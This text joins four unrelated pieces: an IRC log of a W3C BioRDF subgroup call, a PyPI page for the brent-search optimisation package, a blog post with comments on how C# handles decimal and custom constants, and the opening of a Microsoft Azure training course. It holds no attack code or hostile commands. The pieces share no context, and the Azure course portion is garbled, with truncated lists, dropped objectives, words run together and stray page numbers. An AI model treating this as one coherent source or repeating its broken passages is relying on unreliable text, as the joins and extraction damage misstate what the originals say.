<matthias_samwald> kei: if i drag two terms into the query builder, is it an "AND" query?
<matthias_samwald> scott: it would default to OR but can be changed to AND
<matthias_samwald> scott: future will bring possibility to name and save queries, and to add more semantics (without SPARQL)
<matthias_samwald> kei: we have developed an application called "Entrez Neuron", a very specific interface for querying neuron-related information. It would be interesting how neuroscientists would use AIDA, a generic browser.
<matthias_samwald> kei: our experience is that users are most interested in textual/tabular forms of information presentation
<matthias_samwald> ... we have to give more thought on how to constraint graph-based transversal in order to make it useful for neuroscientists/biologists.
<matthias_samwald> scott: i agree.
<matthias_samwald> ... but we have to differ between graphs for displaying data and graphs for displaying/editing queries.
<matthias_samwald> eric: about querying... people usually don't use graphs to pose queries when they have become proficient. but there are special cases.
<kei> matthias: graph-based tools for query construction and display but not very useful
<matthias_samwald> kei: depends on the users, bioinformaticians might be motivated, but end-users are not. they prefer a more NLP-based output format.
<matthias_samwald> ... it would be good to have AIDA as one of the project presentations during the BioRDF breakout at the F2F
<matthias_samwald> scott: yes
<matthias_samwald> scott: ... at the moment we cannot access the Allegrograph KB at FU Berlin at the moment (reason: problem with HTTP headers)
<matthias_samwald> TOPIC --- F2F meeting next week
<matthias_samwald> kei, scott, rob and eric will be there, matthias will not be there.
<matthias_samwald> kei: i have been thinking about future directions
<matthias_samwald> ... we have some preliminary results (aTags, query federation)
<matthias_samwald> ... i would like to have some sort of "blueprint" for the future of BioRDF
<matthias_samwald> ... two main goals:
<matthias_samwald> ... e-Science infrastructure (or "cyberinfrastructure")
<matthias_samwald> ... query federation could fit in nicely
<matthias_samwald> ... there is also a social aspect to it
<matthias_samwald> ... we show how to integrate RDF/OWL with social tagging
<matthias_samwald> eric: integrating social and semantic data -- what use cases are there?
<matthias_samwald> kei: e.g. an organ like the brain is researched on different levels, by different institutions. how do we bring them together? this could be an interesting, broad use-case. we could also be more specific (receptors)
<matthias_samwald> eric: relation to Alzforum?
<matthias_samwald> kei: Alzforum focused on discourse, statement level
<matthias_samwald> matthias: novel: decentralized infrastructure
<matthias_samwald> scott: you want to have information dynamically generated
<matthias_samwald> kei: in alzforum, hypotheses can be complementary, related to each other etc.
<matthias_samwald> ... should be discussed at the F2F and even before
<matthias_samwald> scott: there is another use-case for social networks: expert finding.
<matthias_samwald> ... there is a dedicated conference for this topic
<mscottm> Subject: Identifying Researchers on the Biomedical Web (IRBW2009),
<mscottm> Workshop May 13-14
<matthias_samwald> rob: not only finding persons, but also companies (e.g. for collaboration)
<matthias_samwald> eric: there are already some big companies doing this
<matthias_samwald> ... we could potentially look at re-using code from Alzforum
<matthias_samwald> ... the data is curated, so cost is fairly high.
<matthias_samwald> ... statements are not fully formalized in RDF, to my knowledge
<kei> rob: federation over separate repositories (taxonomies) find/connect researchers
<kei> Kei: integration of rdf triples and tags to get people connection?
<kei> scott: atags can be used to associate people with statements
<kei> scott: text mining to do expert finding
<kei> kei: invite bio2rdf (e.g., Michel) to give a talk during the biordf breakout
<kei> scott: ontotext (developer of owlim) joined HCLS IG
<kei> next biordf call will be on May 11.
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http://www.w3.org/wiki/HCLSIG_BioRDF_Subgroup/Meetings/2009-04-20_Conference_Call
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brent-search 1.0.29
Brent's method for univariate function optimization
Brent’s method for univariate function optimization.
Example
from brent_search import brent def func(x, s): return (x - s)**2 - 0.8 r = brent(lambda x: func(x, 0), -10, 10) print(r)
The output should be
(0.0, -0.8, 6)
Install
The recommended way of installing it is via conda
conda install -c conda-forge brent-search
An alternative way would be via pip
pip install brent-search
Running the tests
After installation, you can test it
python -c "import brent_search; brent_search.test()"
as long as you have pytest.
License
This project is licensed under the MIT License - see the License file for details.
- Author: Danilo Horta
- Keywords: search,line,brent
- License: MIT
- Platform: any
- Categories
- Package Index Owner: dhorta
- DOAP record: brent-search-1.0.29.xml
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https://pypi.python.org/pypi/brent-search/
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A comment on a Stack Overflow post recently got me delving into constants a bit more thoroughly than I have done before.
Const fields
I’ve been aware for a while that although you can specify
decimal field as a
const in C#, it’s not really
const as far as the CLR is concerned. Let’s consider this class to start with:
class Test { const int ConstInt32 = 5; const decimal ConstDecimal = 5; }
Firstly,
csc gives us a warning about
ConstDecimal but not about
ConstInt32:
Test.cs(4,19): warning CS0414: The field ‘Test.ConstDecimal’ is assigned but its value is never used
The Roslyn compiler (
rcsc) doesn’t warn about either of the fields. This is just a curiosity, really – but it already shows that there’s some difference in how they’re compiled. When we delve into the IL, the difference is much more pronounced:
.class private auto ansi beforefieldinit Test extends [mscorlib]System.Object { .field private static literal int32 ConstInt32 = int32(0x00000005) .field private static initonly valuetype [mscorlib]System.Decimal ConstDecimal .custom instance void [mscorlib]DecimalConstantAttribute::.ctor (uint8, uint8, uint32, uint32, uint32) = ( 01 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 ) // Skip the parameterless constructor .method private hidebysig specialname rtspecialname static void .cctor() cil managed { // Code size 12 (0xc) .maxstack 8 IL_0000: ldc.i4.5 IL_0001: newobj instance void [mscorlib]System.Decimal::.ctor(int32) IL_0006: stsfld valuetype [mscorlib]System.Decimal Test::ConstDecimal IL_000b: ret } // end of method Test::.cctor } // end of class Test
First things to note:
ConstInt32 has the literal constraint in IL. From ECMA 335, I.8.6.1.2:
The literal constraint promises that the value of the location is actually a fixed value
of a built-in type. The value is specified as part of the constraint. Compilers are
required to replace all references to the location with its value, and the VES therefore
need not allocate space for the location. This constraint, while logically applicable to
any location, shall only be placed on static fields of compound types. Fields that are
so marked are not permitted to be referenced from CIL (they shall be in-lined to their
constant value at compile time), but are available using reflection and tools that
directly deal with the metadata.
Whereas
ConstDecimal only has the
initonly constraint. Again, from ECMA 335:
The init-only constraint promises (hence, requires) that once the location has been
initialized, its contents never change. Namely, the contents are initialized before any
access, and after initialization, no value can be stored in the location. The contents are
always identical to the initialized value (see §I.8.2.3). This constraint, while logically
applicable to any location, shall only be placed on fields (static or instance) of
compound types.
(Here “compound type” just means “not an array type” – although in quite a confusing manner. I would ignore it if I were you.)
Next, note that there’s an attribute (
System.Runtime.CompilerServices.DecimalConstantAttribute – I’ve taken the namespace off in the listing for the sake of readability) applied to the field, which tells anything consuming the assembly that it should be a constant, and what its value is. Indeed, if you’re very careful, you can create your own “constants” like this:
[DecimalConstant((byte)0, (byte)0, (uint)0, (uint)0, (uint) 5)] public static readonly decimal ConstDecimal;
That field declaration will be treated as a constant in other assembles – but not within the same assembly. So printing
ConstDecimal within the same assembly will result in 0 (unless you change it to another value in the static initializer) whereas printing
Test.ConstDecimal in a different assembly will result in 5. (It won’t even touch the field at execution time.) I’m sure I can work out some nasty ways of abusing that, if I try hard enough.
Note that the casts to
uint are important – if you accidentally call the attribute constructor with a
(byte, byte, int, int, int), the compiler doesn’t recognize it. (Interesting, the latter was only introduced in .NET 2.0. I’ve no idea why.)
Amusingly, you can combine the two:
[DecimalConstant((byte)0, (byte)0, (uint)0, (uint)0, (uint) 5)] public const decimal ConstDecimal = 10;
In this case, the IL contains both
DecimalConstant attributes, despite the fact that it’s only legal to apply one. (
AllowMultiple is false on its
AttributeUsage.) The compiler appears to pick the one specified by the value rather than manually applied, which is slightly disappointing, but of no real importance.
Optional parameters
In the case of
const fields, we’ve really only cared about what the compiler does. Let’s try something where both the compiler and the framework can get involved: optional parameters.
Again, let’s write a little class to demonstrate how the default values of optional parameters are encoded in IL:
public class Test { public void PrintInt32(int x = 10) { Console.WriteLine(x); } public void PrintDecimal(decimal d = 10m) { Console.WriteLine(d); } }
The important bits of the generated IL are:
.method public hidebysig instance void PrintInt32([opt] int32 x) cil managed { .param [1] = int32(0x0000000A) ... } // end of method Test::PrintInt32 .method public hidebysig instance void PrintDecimal( [opt] valuetype [mscorlib]System.Decimal d) cil managed { .param [1] .custom instance void [mscorlib] DecimalConstantAttribute::.ctor (uint8, uint8, uint32, uint32, uint32) = ( 01 00 00 00 00 00 00 00 00 00 00 00 0A 00 00 00 00 00 ) ... } // end of method Test::PrintDecimal
Again, we have a
DecimalConstantAttribute to describe the default value for the
decimal parameter, whereas . If you call the method but don’t specify an argument, the compiler notes the
DecimalConstantAttribute applied to the method parameter, and constructs the value in the calling code. That’s not the only way of observing the default value, however – you can do it with reflection, too:
public static void Main() { var method = typeof(Test).GetMethod("PrintDecimal"); var parameter = method.GetParameters()[0]; Console.WriteLine("Default value: {0}", parameter.DefaultValue); }
As you’d expect, that prints a default value of 10. There’s no direct equivalent of
DefaultValue for
FieldInfo – there’s
GetRawConstantValue() but that only works for constants that the CLR is directly aware of – it fails for a field like
const decimal Foo = 10m , with an
InvalidOperationException. I’ll talk more about CLR constants later.
Now let’s try something a bit more tricksy though… C# doesn’t support
DateTime literals, unlike VB – but there’s a
DateTimeConstantAttribute – what happens if we try to apply that ourselves? Let’s see…
public void PrintDateTime ([Optional, DateTimeConstant(635443315962469079L)] DateTime date) { Console.WriteLine(date); }
So if we call
PrintDateTime(), what does that print? Well (leaving aside the formatting – the examples below use the UK default formatting):
- With
csc.exe(the “old” C# compiler), with the call in the same assembly as the method declaration, it prints 01/01/0001 00:00:00
- With
csc.exe, with the call in a different assembly to the method declaration, it prints
22/08/2014 19:13:16
- With
rcsc.exe(Roslyn), it prints
22/08/2014 19:13:16regardless of where it’s called from
- If you call it dynamically (
dynamic d = new Test(); d.PrintDateTime();) it prints
22/08/2014 19:13:16regardless of the compiler – at least with the version of .NET I’m using. It may well vary by version.
In every case, printing out the
ParameterInfo.DefaultValue gives the right answer: the framework doesn’t care whether or not the compiler understands the attribute.
In case you’re wondering why I didn’t mention this possibility for constant fields – I tried it, and it didn’t work, even in Roslyn. For some reason optional parameters are treated as more “special” than constant fields.
Having got this far, why stop with
DateTime? The
DateTimeConstantAttribute class derives from
CustomConstantAttribute (whereas
DecimalConstantAttribute just derives from
Attribute). So can I introduce my own constant attributes? Noda Time seems to be an obvious candidate for this – let’s try for a
LocalDateConstantAttribute:
[AttributeUsage(AttributeTargets.Parameter | AttributeTargets.Field)] public class LocalDateConstantAttribute : CustomConstantAttribute { private readonly LocalDate value; public LocalDateConstantAttribute(int year, int month, int day) { value = new LocalDate(year, month, day); } public override object Value { get { return value; } } } ... public void PrintLocalDate( [Optional, LocalDateConstant(2014, 8, 22)] LocalDate date) { Console.WriteLine(date); }
How does this fare? Not so well, unfortunately:
– With a normal method call (regardless of assembly), it prints
01 January 1970 (the default value for a
LocalDate in Noda Time 1.3)
– With a dynamic method call it prints
01 January 1970
– With reflection (i.e. using
ParameterInfo.DefaultValue) the framework does construct the appropriate
LocalDate, which seems logical as it’s presumably just using the
Value property of the attribute
So, there’s still work to be done there. I think it would be feasible to do this in a general way, if it’s acceptable for an exception to be thrown if the
Value property returns an incompatible type of object to the parameter type. The great thing is that Roslyn is open source, so I should be able to spike this myself, right? How hard can it be? (Cue howls of derisive laughter from the Roslyn team, who will know much better than I how hard it’s likely to really be.)
CLR constants and attribute arguments
So with constant fields, it was all down to the compiler, really. For optional parameters, it’s mostly still down to the compiler, but with framework support for reflection. What about attribute arguments? They’re the other notable aspect of C# which requires compile-time constants. For example, this is fine:
[Description("This is a constant")]
But this is not:
[Description("Initialized at " + DateTime.Now)]
Intriguingly, this is fine too:
[ContractClass(typeof(Foo))]
… despite the fact that
const Type ConstType = typeof(Foo);
isn’t valid. The only constant expression which is valid for type
Type is
null. So in section 17.2 of the C# 5 specification,
Type is explicitly called out:
An expression E is an attribute-argument-expression if all of the following statements are true:
- The type of E is an attribute parameter type (§17.1.3).
- At compile-time, the value of E can be resolved to one of the following:
- A constant value.
- A
System.Typeobject.
- A one-dimensional array of attribute-argument-expressions.
(Interestingly, there’s no indication that I can see that the value of
E has to be obtained via
typeof, in the spec – clearly
[ContractClass(Type.GetType("TodayIs" + DateTime.Today.Day))] should be invalid, but I can’t currently see which bit of the spec that violates. Something to be tightened up, potentially.)
And the “attribute parameter type” part – section 17.1.3 – looks like this:
The types of positional and named parameters for an attribute class are limited to the attribute parameter types, which are:
- One of the following types:
bool,
byte,
char,
double,
float,
int,
long,
sbyte,
short,
string,
uint,
ulong,
ushort.
- The type
object.
- The type
System.Type.
- An enum type, provided it has public accessibility and the types in which it is nested (if any) also have public accessibility (§17.2).
- Single-dimensional arrays of the above types.
Oops – no
decimal. Note that the type of
E that has to be one of those types, as well as the parameter type… so it doesn’t help to have a parameter of type
object and then try to pass a constant
decimal value as the argument.
Basically, attributes arguments are sufficiently low-level that the CLR itself wants to know about them – and while it has a deep knowledge of
Type,
string and the primitive value types, it doesn’t have much knowledge about
decimal (or at least, it isn’t required to). Attribute arguments can’t use funky “custom constant” attributes to specify values like
decimal or
DateTime – you really are limited to the types that the CLR knows about. In a future version it’s not inconceivable that this could be broadened, but at the moment it’s pretty strict.
Conclusion
So, it turns out the idea of a constant isn’t terribly constant in itself. We have:
- Constant fields, which are primarily a compile-time concern, and therefore language-specific.
- Optional parameter default values, which feel like they ought to be just like constant fields (in that a value specified in one place is substituted in another) but apparently have a bit more support in the C# compiler… and more reflection support too.
- Attribute arguments, which are the strictest form of constant I’ve found so far, in that they have to correspond to a small set of CLR “special” types.
I didn’t even talk about constant expressions (section 7.19 of the C# 5 spec) much in this post – maybe I’ll delve into those in more detail in another post.
Unlike my normal day-dreaming about changing the compiler, I think I really might have a crack at Roslyn for supporting arbitrary optional parameters – it feels like it could potentially be genuinely useful (which is also unlike most of my idle speculation).
So next time you ask yourself whether something is a constant, you should start off by asking yourself what you mean by “constant” in the first place.
13 thoughts on “When is a constant not a constant? When it’s a decimal…”
If a non-constant is allowed as optional parameter as demostrated by decimal. Could it be possible to have the optional value be a result of calling a function (by extension a lambda)?
MyMethod ( DateTime dt = ()=> DateTime.Now )
You wouldn’t be able to express that in the language (without changing the language itself) and an attribute can’t have a lambda expression as input either… but combined with
nameofthere might be some interesting possibilities…
Can it be done at the IL level?
. Param [1] /* function here */
I don’t believe so – it’s limited to attributes as far as I’m aware.
Yes please.
I strongly recommend having a hack with the Rosyln source. I found it very clearly organised reflecting the structure of the language. It doesn’t showcase any fancy techniques, just lots of big switch statements and procedural code, but this actually makes it very easy to follow in the debugger and hence easy to learn and play with. So I found I could add a handful of “toy” features with incredibly minimal code changes, e.g.
I always enjoy these kind of discussion. Thank you.
In ILSpy, if we look at the C#-after PushNegation, we can easily see the “const decimal” was replaced by “static readonly decimal” and the value is assign in the static class constructor. Interesting.
But i am wondering why?
Why what, exactly? All that’s showing is the same thing as in this post… That at the IL level, there’s no “literal” form for decimal.
Offtopic question here – what WP plugin are you using for syntax highlighting? On my blog, I am using Crayon, but I am not very happy with amount of boilerplate it generates, especially when used for inline code snippets.
I’m just using whatever Markdown wordpress.com uses, to be honest. It’s not clear to me how I’d attribute it to one specific plugin. Based on it may be
I didn’t notice you are hosting the blog at wordpress.com and just thought you are using some plugin. Thanks for the tip, gonna check it out!
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10979A
L E A R N I N G
P R O D U C T
O F F I C I A L
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Acknowledgements
Microsoft Learning would like to acknowledge and thank the following for their contribution towards
developing this title. Their effort at various stages in the development has ensured that you have a good
classroom experience.
Andrew J. Warren - Content Developer/Subject Matter Expert. Andrew Warren has more than 25 years of
experience in the IT industry, many of which he has spent teaching and writing. He has been involved as a
subject matter expert for many of the Windows Server 2012 courses, and the technical lead on many
Windows 8 courses. He also has been involved in developing TechNet sessions on Microsoft Exchange
Server. Based in the United Kingdom, he runs his own IT training and education consultancy.
Damir Dizdarevic is an MCT, Microsoft Certified Solutions Expert (MCSE), Microsoft Certified Technology
Specialist (MCTS), and a Microsoft Certified Information Technology Professional (MCITP). He is a manager
and trainer of the Learning Center at Logosoft d.o.o., in Sarajevo, Bosnia and Herzegovina. He also works
as a consultant on IT infrastructure and messaging projects. Damir has more than 18 years of experience
on Microsoft platforms, and he specializes in Windows Server, Exchange Server, security, and
virtualization. He has worked as a subject matter expert and technical reviewer on many Microsoft Official
Courses (MOC) courses on Windows Server and Exchange topics, and has published more than 400
articles in various IT magazines, such as Windows ITPro and INFO Magazine. He's also a frequent and
highly rated speaker on most of Microsoft conferences in Eastern Europe. Additionally, Damir is a
Microsoft Most Valuable Professional (MVP) for Windows Server, 7 years in a row. His technical blog is
available at.
Marcin Policht obtained his Master of Computer Science degree 18 years ago and has since then worked
in the Information Technology field, focusing primarily on directory services, virtualization, system
management, and database management. Marcin authored the first book dedicated to Windows
Management Instrumentation and co-wrote several others on topics ranging from core operating system
features to high-availability solutions. His articles have been published on ServerWatch.com and
DatabaseJournal.com. Marcin has been a Microsoft MVP for the last seven years.
Magnus completed his Masters in Computer Science in 1999 and has more than 15 years of development
consulting experience. From Sweden, he runs his own company, Martensson Consulting, which offers
expert Windows Azure strategic, architectural, and development advice all over northern Europe. Magnus
was the first Microsoft Azure MVP in Scandinavia and was awarded MVP of the Year in 2012. He is an
international speaker and has given multiple TechEd presentations. An avid community enthusiast, he is
one of the creators of the Global Windows Azure Bootcamp, an annual event that runs at over 130
locations worldwide on a single day. He has a great passion for learning and sharing his own knowledge.
Ronald Beekelaar is a long-time Hyper-V MVP and MCT. Ronald is a well-known trainer and presenter on
the topics of security, virtualization, Hyper-V, and Microsoft Azure. He is the founder of Virsoft Solutions,
which provides access to hosted online hands-on labs and demo environments for training centers,
Microsoft events, Microsoft product groups, and other customers. The hosted lab solution runs in Hyper-V
data centers and on Microsoft Azure.
Contents
Module 1: Getting Started with Microsoft Azure
Module Overview
1-1
1-2
1-7
1-10
1-16
1-21
1-23
2-1
2-2
2-8
2-13
2-21
2-25
3-1
3-2
3-12
3-18
3-21
4-1
4-2
4-5
4-8
4-12
4-15
5-1
5-2
5-12
5-18
5-20
6-1
6-2
6-5
6-11
6-14
7-1
7-2
7-9
7-13
7-16
8-1
8-2
8-8
8-13
8-16
L1-1
L2-3
L3-7
L4-11
L5-17
L6-21
L7-25
L8-29
This section provides a brief description of the course, including audience, suggested prerequisites, and
course objectives.
Course Description
Note: This first release (A) MOC version of course 10979A has been developed by using
the features available in Microsoft Azure in October, 2014. This includes some preview features.
Microsoft Learning will release a B version of this course with enhanced Microsoft PowerPoint
slides, copy-edited content, and Course Companion content on the Microsoft Learning site. The
B version may also include new Microsoft Azure features.
This course trains students on the basics of Microsoft Azure. It provides the underlying knowledge that
students will require when they evaluate Microsoft Azure as an administrator, developer, or database
administrator. This course lays the groundwork for further role-specific training in Azure, and also
provides the prerequisite knowledge for students wishing to attend course 20532A: Microsoft Azure for
Developers, or course 20533A: Microsoft Azure for IT Professionals.
Audience
This course is intended for IT professionals who have a limited knowledge of cloud technologies and want
to learn more about Microsoft Azure. The audience will include:
Individuals who want to evaluate the deployment, configuration, and administration of services and
virtual machines using Microsoft Azure..
Student Prerequisites
This course requires that students meet the following prerequisites:
An understanding of websites.
A basic understanding of Active Directory concepts such as domains, users, and domain controllers.
Course Objectives
After completing this course, students will be able to:
Describe the various Azure services, and access these services from the Azure portal.
Use Azure Active Directory (Azure AD), integrate applications with Azure AD, and manage
authentication.
Manage an Azure subscription by using Azure PowerShell, Microsoft Visual Studio, and the Azure
command-line interface.
Course Outline
The course outline is as follows:
Module 1, Getting Started with Microsoft Azure" introduces students to cloud services and the various
Azure services. It describes how to use the Azure portal to access and manage Azure services, and to
manage Azure subscription and billing.
Module 2, Websites and Cloud Services" explains how to create, configure, and monitor websites by
using Azure. It also describes the creation and deployment of Cloud Services on Azure.
Module 3, Virtual Machines in Microsoft Azure" describes how to use Azure to deploy virtual machines
on locally installed servers. It also explains the creation and configuration of virtual machines, and the
management of virtual machine disks by using Azure.
Module 4, Virtual Networks" describes Azure virtual networks and explains how to create them. It also
explains how to implement how to implement communications between your on-premises infrastructure
and Azure by using point-to-site networks.
Module 5, Cloud Storage" describes the use of cloud storage and its benefits. It also explains how to
create, manage, and configure cloud storage in Azure.
Module 6, Microsoft Azure Databases" describes the options available for storing relational data in
Azure. It also explains how to use Microsoft Azure SQL Database to create, configure, and manage SQL
databases in Azure.
Module 7, Azure Active Directory" explains how to use Azure AD and Azure Multi-Factor Authentication
to enhance security. It explains how to create users, domains, and directories in Azure AD, and how to use
Multi-Factor Authentication and single sign-on (SSO).
Module 8, Microsoft Azure Management Tools" introduces Azure PowerShell, and explains its use in
managing Azure subscriptions. It also describes the Azure Software Development Kit (SDK) and the Azure
cross-platform command-line interface, and explains their benefits and uses..
Labs: Provide a real-world, hands-on platform for you to apply the knowledge and skills learned
in the module.
Module Reviews and Takeaways: Provide on-the-job reference material to boost knowledge
and skills retention.
Lab Answer Keys: Provide step-by-step lab solution guidance, when it is needed..
Resources: Include well-categorized additional resources that give you immediate access to the most
current premium content on TechNet, MSDN, or Microsoft Press.
Note: For the A version of the courseware, Companion Content is not available. However,
the Companion Content will be published when the next (B) version of this course is released,
and students who have taken this course will be able to download the Companion Content at
that time from the site.
Please check with your instructor when the B version of this course is scheduled to release to
learn when you can access Companion Content for this course.
Additional Reading: Student Course files: includes the Allfiles.exe, a self-extracting
executable file that contains all required files for the labs and demonstrations.
Course evaluation: At the end of the course, you will have the opportunity to complete an online
evaluation to provide feedback on the course, training facility, and instructor.
o
xviii
To complete the labs, you will work on your computer to access Microsoft Azure. You do not require any
o virtual machines on the local computer.
Software Configuration
This course requires a computer (physical, virtual, or cloud-based) that has the following capabilities and
software:
Internet connectivity
Internet Explorer 10
Visual Studio Express 2013 for Web with Microsoft Azure software development kit (SDK)
Course Files
The files associated with the labs in this course are located in the C:\Labfiles\LabXX folder on the student
computers.
Classroom Setup
Each classroom computer will have the required software installed as part of classroom setup.
Module 1
Getting Started with Microsoft Azure
Contents:
Module Overview
1-1
1-2
1-7
1-10
1-16
1-21
1-23
Module Overview
As organizations move their IT workloads to the cloud, IT professionals must understand the principles on
which cloud-solutions are based, and learn how to deploy and manage cloud applications, services, and
infrastructure. Specifically, IT professionals who plan to use Microsoft Azure must learn about the services
that Azure provides, and how to manage those services.
This module provides an overview of Azure, and it explains the various Azure services. It also describes
how to access these services from the Azure portal, and how to manage your Azure subscription and
billing.
Objectives
After completing this module, you will be able to:
Lesson 1
Cloud computing plays an increasingly important role in IT infrastructure. Therefore, IT professionals must
be aware of fundamental cloud principles and techniques. There are three main types of cloud computing
models: public, private, and hybrid. Each of these models provides different services based on your needs.
Before you move to a cloud-based model, you must decide which type best suits your needs.
This lesson introduces the cloud, and describes considerations for implementing cloud-based
infrastructure services.
Lesson Objectives
After completing this lesson, you will be able to:
Be pooled.
Most cloud solutions are built on virtualization technology, which abstracts physical hardware as a layer of
virtualized resources for processing, memory, storage, and networking. Many cloud solutions add further
layers of abstraction to define specific services that can be provisioned and used.
Regardless of the specific technologies that organizations use to implement cloud computing solutions,
the National Institute of Standards and Technology has identified that the technologist exhibit the
following five characteristics:
On-demand self-service. Cloud services are generally provisioned according to requirement, and need
minimal infrastructure configuration by the consumer. This enables users of cloud services to quickly
set up the resources they want, typically without having to involve IT specialists.
Broad network access. Consumers generally access cloud services over a network connection, usually
either a corporate network or the Internet.
Resource pooling. Cloud services can use a pool of hardware resources that consumers might share. A
hardware pool might consist of hardware from multiple servers that are arranged as a single logical
entity.
Note: As your use of resources increases, you might take on a greater proportion of the
hardware hosting your services until you have exclusive use of the physical server computer
hosting your resources.
Rapid elasticity. Cloud services scale dynamically to obtain additional resources from the pool as
workloads intensify, and release resources automatically when they are no longer needed.
Measured service. Cloud services generally include some sort of metering capability. Metering makes
it possible to track relative resource usage by the users, or subscribers of the services.
Managed datacenter. With cloud computing, your service provider can manage your datacenter. This
obviates the need for you to manage your own IT infrastructure. Cloud computing also enables you
to access computing services irrespective of your location and the hardware that you use to access
those services. Although the datacenter remains a key element in cloud computing, the emphasis is
on virtualization technologies that focus on delivering applications rather than on infrastructure.
Lower operational costs. Cloud computing provides pooled resources, elasticity, and virtualization
technology. These factors help you to alleviate issues such as low system use, inconsistent availability,
and high operational costs. It is important to remember that with cloud computing, you only pay for
the services that you use; this can mean substantial savings on operational costs for most
organizations.
Server consolidation. You can consolidate servers across the datacenter by using the cloud computing
model, because it can host multiple virtual machines on a virtualization host.
Better flexibility and speed. When you use the cloud computing model with products such as System
Center 2012, you can increase resources flexibility and the speed of access to resources.
Cloud Services
Cloud services generally fall into one of the
following three categories:
SaaS
PaaS
PaaS offerings consist of cloud-based services that provide resources on which developers can build their
own solutions. Typically, PaaS encapsulates fundamental operating system (OS) capabilities, including
storage and compute, as well as functional services for custom applications. Usually, PaaS offerings
provide application programming interfaces (APIs), and configuration and management user interfaces.
Azure provides PaaS services that simplify the creation of solutions such as web and mobile applications.
PaaS enables developers and organizations to create highly-scalable custom applications without having
to provision and maintain hardware and OS resources. The main benefit PaaS provides to your
organization is that you can shift much, if not most of your infrastructure to the cloud, thus possibly
reducing management tasks and costs.
IaaS
IaaS offerings provide virtualized server and network infrastructure components that users can easily
provision and decommission as required. Typically, the management of IaaS facilities is similar to that of
on-premises infrastructure. IaaS facilities provide an easy migration path for moving existing applications
to the cloud.
A key point to note is that an infrastructure service might be a single IT resourcesuch as a virtual server
with a default installation of Windows Server 2012 R2 and SQL Server 2014or it might be a completely
pre-configured infrastructure environment for a specific application or business process. For example, a
retail organization might empower departments to provision their own database servers to use as data
stores for custom applications. Alternatively, the organization might define a set of virtual machine and
network templates that it can provision as a single unit to implement a complete, pre-configured
infrastructure solution, including all the required applications and settings, for a branch or store.
Private cloud. Individual organizations privately own and manage private clouds. Private clouds offer
benefits similar to those of public clouds, but are designed and secured for a single organizations
use. The organization manages and maintains the infrastructure for the private cloud in its datacenter.
One of the key benefits of this approach is that the organization has complete control over the cloud
infrastructure and services that it provides. However, the organization also has the management
overhead and costs that are associated with this model.
Hybrid cloud. In a hybrid cloud, a technology binds two separate clouds (public and private) together
for the specific purpose of obtaining resources from both. You decide which elements of your services
and infrastructure to host privately, and which to host in the public cloud.
Many organizations use a hybrid model when extending to the cloud; that is, they begin to shift some
elements of their applications and infrastructure to the cloud. Sometimes, an application and its
supporting infrastructure are shifted to the cloud, while the underlying database is maintained within
the organizations own infrastructure. This approach might be used to address security concerns with
that particular database.
Microsoft cloud services provide technology and applications across all of these cloud computing models.
Some examples of Microsoft cloud services are:
Azure. Azure is a public cloud environment that offers PaaS, SaaS, and IaaS. Developers can
subscribe to Azure services and create software, which is delivered as SaaS. Microsoft cloud
services use Azure to deliver some of its own SaaS applications.
Office 365. Office 365 delivers online versions of the Microsoft Office applications and online
business collaboration tools.
Microsoft Dynamics CRM Online. Dynamics CRM Online is the version of the on-premises
Microsoft Dynamics CRM application that Microsoft hosts.
Hyper-V in Windows Server 2012 R2 combines with System Center 2012 R2 to create the
foundation for building private clouds. By implementing these products as a combined solution,
you can deliver much of the same functionality that public clouds offer.
Microsoft provides a number of solutions that support the hybrid cloud model, by enabling
you to:
Connect and federate directory services that allow your users to access applications that are
constructed across a combination of on-premises, service provider, and public cloud types.
Lesson 2based.
This lesson provides an overview of Azure and its services.
Lesson Objectives
After completing this lesson, you will be able to:
Describe Azure.
Overview of Azure
Azure is a collection of cloud services that you
can use to build and operate cloud-based
applications and IT infrastructure. A global
network of datacenters host Azure services.
Microsoft technicians manage these data centers
on a 24-hours-a-day basis. Azure offers a 99.95
percent availability service level agreement (SLA)
for computing services.
Azure services enable you to:
Host workloads in the cloud on Azure PaaS services and IaaS infrastructure that comprise virtual
machines and virtual networks.
To use Azure services, you require a subscription. You can sign up for a subscription as an individual or as
an organization, and then pay for the services you use on a usage-based cost basis.
Note: Microsoft Azure was formerly known as Windows Azure.
Additional Reading: To download the Microsoft Azure free trial, go to.
Compute
Cloud services. Provides a platform that can host web applications and web services. Cloud services
use a modular architecture that allows you to scale your application to larger sizes while minimizing
costs.
Virtual machines. You can build virtual machine instances from scratch, or by using templates. You
also can build them on your own site, and then transfer them to Azure (or the other way around).
Virtual machines can run a variety of workloads, including many Microsoft-certified workloads such as
SQL Server, SharePoint Server, and BizTalk Server.
Mobile services. You can use these services to build mobile phone apps, including storage,
authentication, and notification services for Windows apps, Android apps, and Apple iOS apps.
Data Services
SQL Database. Azure includes a SQL Database offering. SQL Database provides interoperability, which
enables customers to build applications by using most development frameworks.
Storage. You can use the storage service to create and manage storage accounts for blobs, tables, and
queues.
Microsoft Azure HDInsight. Microsoft Azure HDInsight is the Hadoop-based solution from Microsoft.
Hadoop is used to process and analyze big data.
Recovery services. You can back up directly to Azure. You can configure the cloud backups from the
backup tools in Windows Server 2012 R2, or from System Center 2012 R2.
App Services
Media Services. You can use media services to create, manage, and distribute media across a large
variety of devices such as Xbox, computers running the Windows operating system, MacOS, iOS, and
Android.
Messaging. The Microsoft Azure Service Bus provides the messaging channel for connecting cloud
applications to on-premises applications, services, and systems.
Microsoft Azure AD. This is a modern, Representational State Transfer-based (REST-based) service that
provides identity management and access control capabilities for cloud applications. It is the identity
service that is used across Microsoft Azure, Office 365, Microsoft Dynamics CRM Online, Windows
Intune, and other non-Microsoft cloud services. Microsoft Azure Active Directory (AD) also can
integrate with on-premises Active Directory deployments.
Visual Studio Online. You can use Visual Studio online to create and manage team projects and code
repositories. Visual Studio online enables you to write and deploy a variety of different types of apps,
including those for Windows Phone and Windows Store, desktop apps, web apps, and web services.
CDN. The Azure Content Delivery Network (CDN) allows developers to deliver high-bandwidth
content by caching blobs and static content of compute instances at physical nodes throughout the
world.
BizTalk service. This service provides supporting tools that allow developers to build solutions that
connect services and systems with disparate data formats and protocols.
Network Services
Microsoft Azure Virtual Network. You can use the Microsoft Azure Virtual Network (Virtual Network)
to create a logically isolated section in Microsoft Azure, and then connect it securely either to your
on-premises datacenter or to a single client machine, by using an IPsec connection.
Note: The next topic discusses Virtual Network in more depth.
Microsoft Azure Traffic Manager. You can use Microsoft Azure Traffic Manager (Traffic Manager) to
load-balance inbound traffic across multiple Azure services. This helps ensure the performance,
availability, and resiliency of applications.
Note: Azure is continually being improved and enhanced, and new services are added on a
regular basis.
